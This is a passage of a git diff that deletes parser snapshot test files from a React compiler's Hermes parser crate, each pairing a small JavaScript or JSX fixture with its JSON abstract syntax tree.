-                  "type": "Identifier",
-                  "name": "error",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    220,
-                    225
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  212,
-                  225
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    226,
-                    227
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                212,
-                228
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              212,
-              229
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "console",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    232,
-                    239
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "trace",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    240,
-                    245
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  232,
-                  245
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    246,
-                    247
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                232,
-                248
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              232,
-              249
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "console",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    252,
-                    259
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "table",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    260,
-                    265
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  252,
-                  265
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    266,
-                    267
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                252,
-                268
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              252,
-              269
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                279,
-                280
-              ]
-            },
-            "loc": null,
-            "range": [
-              272,
-              281
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          283
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        283
-      ],
-      "loc": null,
-      "range": [
-        0,
-        283
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    283
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@const-propagation-into-function-expression-global.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@const-propagation-into-function-expression-global.js.snap
deleted file mode 100644
index 519a327c197f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@const-propagation-into-function-expression-global.js.snap
+++ /dev/null
@@ -1,315 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/const-propagation-into-function-expression-global.js
----
-Input:
-function foo() {
-  const isX = GLOBAL_IS_X;
-  const getJSX = () => {
-    return <Child x={isX}></Child>;
-  };
-  const result = getJSX();
-  return result;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "isX",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    25,
-                    28
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "GLOBAL_IS_X",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    31,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  25,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              43
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "getJSX",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    52,
-                    58
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ReturnStatement",
-                        "argument": {
-                          "type": "JSXElement",
-                          "openingElement": {
-                            "type": "JSXOpeningElement",
-                            "name": {
-                              "type": "JSXIdentifier",
-                              "name": "Child",
-                              "loc": null,
-                              "range": [
-                                81,
-                                86
-                              ]
-                            },
-                            "attributes": [
-                              {
-                                "type": "JSXAttribute",
-                                "name": {
-                                  "type": "JSXIdentifier",
-                                  "name": "x",
-                                  "loc": null,
-                                  "range": [
-                                    87,
-                                    88
-                                  ]
-                                },
-                                "value": {
-                                  "type": "JSXExpressionContainer",
-                                  "expression": {
-                                    "type": "Identifier",
-                                    "name": "isX",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      90,
-                                      93
-                                    ]
-                                  },
-                                  "loc": null,
-                                  "range": [
-                                    89,
-                                    94
-                                  ]
-                                },
-                                "loc": null,
-                                "range": [
-                                  87,
-                                  94
-                                ]
-                              }
-                            ],
-                            "selfClosing": false,
-                            "loc": null,
-                            "range": [
-                              80,
-                              95
-                            ]
-                          },
-                          "children": [],
-                          "closingElement": {
-                            "type": "JSXClosingElement",
-                            "name": {
-                              "type": "JSXIdentifier",
-                              "name": "Child",
-                              "loc": null,
-                              "range": [
-                                97,
-                                102
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              95,
-                              103
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            80,
-                            103
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          73,
-                          104
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      67,
-                      108
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    61,
-                    108
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    61,
-                    108
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  52,
-                  108
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              46,
-              109
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "result",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    118,
-                    124
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "getJSX",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      127,
-                      133
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    127,
-                    135
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  118,
-                  135
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              112,
-              136
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "result",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                146,
-                152
-              ]
-            },
-            "loc": null,
-            "range": [
-              139,
-              153
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          155
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        155
-      ],
-      "loc": null,
-      "range": [
-        0,
-        155
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    155
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@const-propagation-into-function-expression-primitive.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@const-propagation-into-function-expression-primitive.js.snap
deleted file mode 100644
index e9f465afbd16..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@const-propagation-into-function-expression-primitive.js.snap
+++ /dev/null
@@ -1,263 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/const-propagation-into-function-expression-primitive.js
----
-Input:
-function foo() {
-  const x = 42;
-  const f = () => {
-    console.log(x);
-  };
-  f();
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    25,
-                    26
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 42.0,
-                  "loc": null,
-                  "range": [
-                    29,
-                    31
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  25,
-                  31
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              32
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "f",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    41,
-                    42
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "console",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                57,
-                                64
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "log",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                65,
-                                68
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              57,
-                              68
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                69,
-                                70
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            57,
-                            71
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          57,
-                          72
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      51,
-                      76
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    45,
-                    76
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    45,
-                    76
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  41,
-                  76
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              35,
-              77
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "f",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  80,
-                  81
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                80,
-                83
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              80,
-              84
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                94,
-                95
-              ]
-            },
-            "loc": null,
-            "range": [
-              87,
-              96
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          98
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        98
-      ],
-      "loc": null,
-      "range": [
-        0,
-        98
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    98
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@constant-computed.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@constant-computed.js.snap
deleted file mode 100644
index cc8f6f33bde1..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@constant-computed.js.snap
+++ /dev/null
@@ -1,358 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/constant-computed.js
----
-Input:
-function Component(props) {
-  const index = "foo";
-  const x = {};
-  x[index] = x[index] + x["bar"];
-  x[index](props.foo);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "index",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    41
-                  ]
-                },
-                "init": {
-                  "type": "StringLiteral",
-                  "value": "foo",
-                  "loc": null,
-                  "range": [
-                    44,
-                    49
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  49
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              50
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    59,
-                    60
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    63,
-                    65
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  59,
-                  65
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              53,
-              66
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    69,
-                    70
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "index",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    71,
-                    76
-                  ]
-                },
-                "computed": true,
-                "loc": null,
-                "range": [
-                  69,
-                  77
-                ]
-              },
-              "right": {
-                "type": "BinaryExpression",
-                "left": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      80,
-                      81
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "index",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      82,
-                      87
-                    ]
-                  },
-                  "computed": true,
-                  "loc": null,
-                  "range": [
-                    80,
-                    88
-                  ]
-                },
-                "operator": "+",
-                "right": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      91,
-                      92
-                    ]
-                  },
-                  "property": {
-                    "type": "StringLiteral",
-                    "value": "bar",
-                    "loc": null,
-                    "range": [
-                      93,
-                      98
-                    ]
-                  },
-                  "computed": true,
-                  "loc": null,
-                  "range": [
-                    91,
-                    99
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  80,
-                  99
-                ]
-              },
-              "loc": null,
-              "range": [
-                69,
-                99
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              69,
-              100
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    103,
-                    104
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "index",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    105,
-                    110
-                  ]
-                },
-                "computed": true,
-                "loc": null,
-                "range": [
-                  103,
-                  111
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      112,
-                      117
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      118,
-                      121
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    112,
-                    121
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                103,
-                122
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              103,
-              123
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                133,
-                134
-              ]
-            },
-            "loc": null,
-            "range": [
-              126,
-              135
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          137
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        137
-      ],
-      "loc": null,
-      "range": [
-        0,
-        137
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    137
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@constant-propagation-for.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@constant-propagation-for.js.snap
deleted file mode 100644
index b3e4aeb224da..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@constant-propagation-for.js.snap
+++ /dev/null
@@ -1,269 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/constant-propagation-for.js
----
-Input:
-function foo() {
-  let y = 0;
-  for (const x = 100; x < 10; x) {
-    y = y + 1;
-  }
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    23,
-                    24
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    27,
-                    28
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  23,
-                  28
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              29
-            ]
-          },
-          {
-            "type": "ForStatement",
-            "init": {
-              "type": "VariableDeclaration",
-              "kind": "const",
-              "declarations": [
-                {
-                  "type": "VariableDeclarator",
-                  "id": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      43,
-                      44
-                    ]
-                  },
-                  "init": {
-                    "type": "NumericLiteral",
-                    "value": 100.0,
-                    "loc": null,
-                    "range": [
-                      47,
-                      50
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    43,
-                    50
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                37,
-                50
-              ]
-            },
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  52,
-                  53
-                ]
-              },
-              "operator": "<",
-              "right": {
-                "type": "NumericLiteral",
-                "value": 10.0,
-                "loc": null,
-                "range": [
-                  56,
-                  58
-                ]
-              },
-              "loc": null,
-              "range": [
-                52,
-                58
-              ]
-            },
-            "update": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                60,
-                61
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "y",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        69,
-                        70
-                      ]
-                    },
-                    "right": {
-                      "type": "BinaryExpression",
-                      "left": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          73,
-                          74
-                        ]
-                      },
-                      "operator": "+",
-                      "right": {
-                        "type": "NumericLiteral",
-                        "value": 1.0,
-                        "loc": null,
-                        "range": [
-                          77,
-                          78
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        73,
-                        78
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      69,
-                      78
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    69,
-                    79
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                63,
-                83
-              ]
-            },
-            "loc": null,
-            "range": [
-              32,
-              83
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                93,
-                94
-              ]
-            },
-            "loc": null,
-            "range": [
-              86,
-              95
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          97
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        97
-      ],
-      "loc": null,
-      "range": [
-        0,
-        97
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    97
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@constant-propagation-into-function-expressions.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@constant-propagation-into-function-expressions.js.snap
deleted file mode 100644
index d62ce8b830b1..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@constant-propagation-into-function-expressions.js.snap
+++ /dev/null
@@ -1,300 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/constant-propagation-into-function-expressions.js
----
-Input:
-function Component(props) {
-  const x = 42;
-  const onEvent = () => {
-    console.log(x);
-  };
-  return <Foo onEvent={onEvent} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 42.0,
-                  "loc": null,
-                  "range": [
-                    40,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              43
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "onEvent",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    52,
-                    59
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "console",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                74,
-                                81
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "log",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                82,
-                                85
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              74,
-                              85
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                86,
-                                87
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            74,
-                            88
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          74,
-                          89
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      68,
-                      93
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    62,
-                    93
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    62,
-                    93
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  52,
-                  93
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              46,
-              94
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    105,
-                    108
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "onEvent",
-                      "loc": null,
-                      "range": [
-                        109,
-                        116
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "onEvent",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          118,
-                          125
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        117,
-                        126
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      109,
-                      126
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  104,
-                  129
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                104,
-                129
-              ]
-            },
-            "loc": null,
-            "range": [
-              97,
-              130
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          132
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        132
-      ],
-      "loc": null,
-      "range": [
-        0,
-        132
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    132
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@constant-propagation-phi.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@constant-propagation-phi.js.snap
deleted file mode 100644
index 5be9d49b2b05..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@constant-propagation-phi.js.snap
+++ /dev/null
@@ -1,370 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/constant-propagation-phi.js
----
-Input:
-function foo(a, b, c) {
-  let x;
-  if (a) {
-    x = 2 - 1;
-  } else {
-    x = 0 + 1;
-  }
-  if (x === 1) {
-    return b;
-  } else {
-    return c;
-  }
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
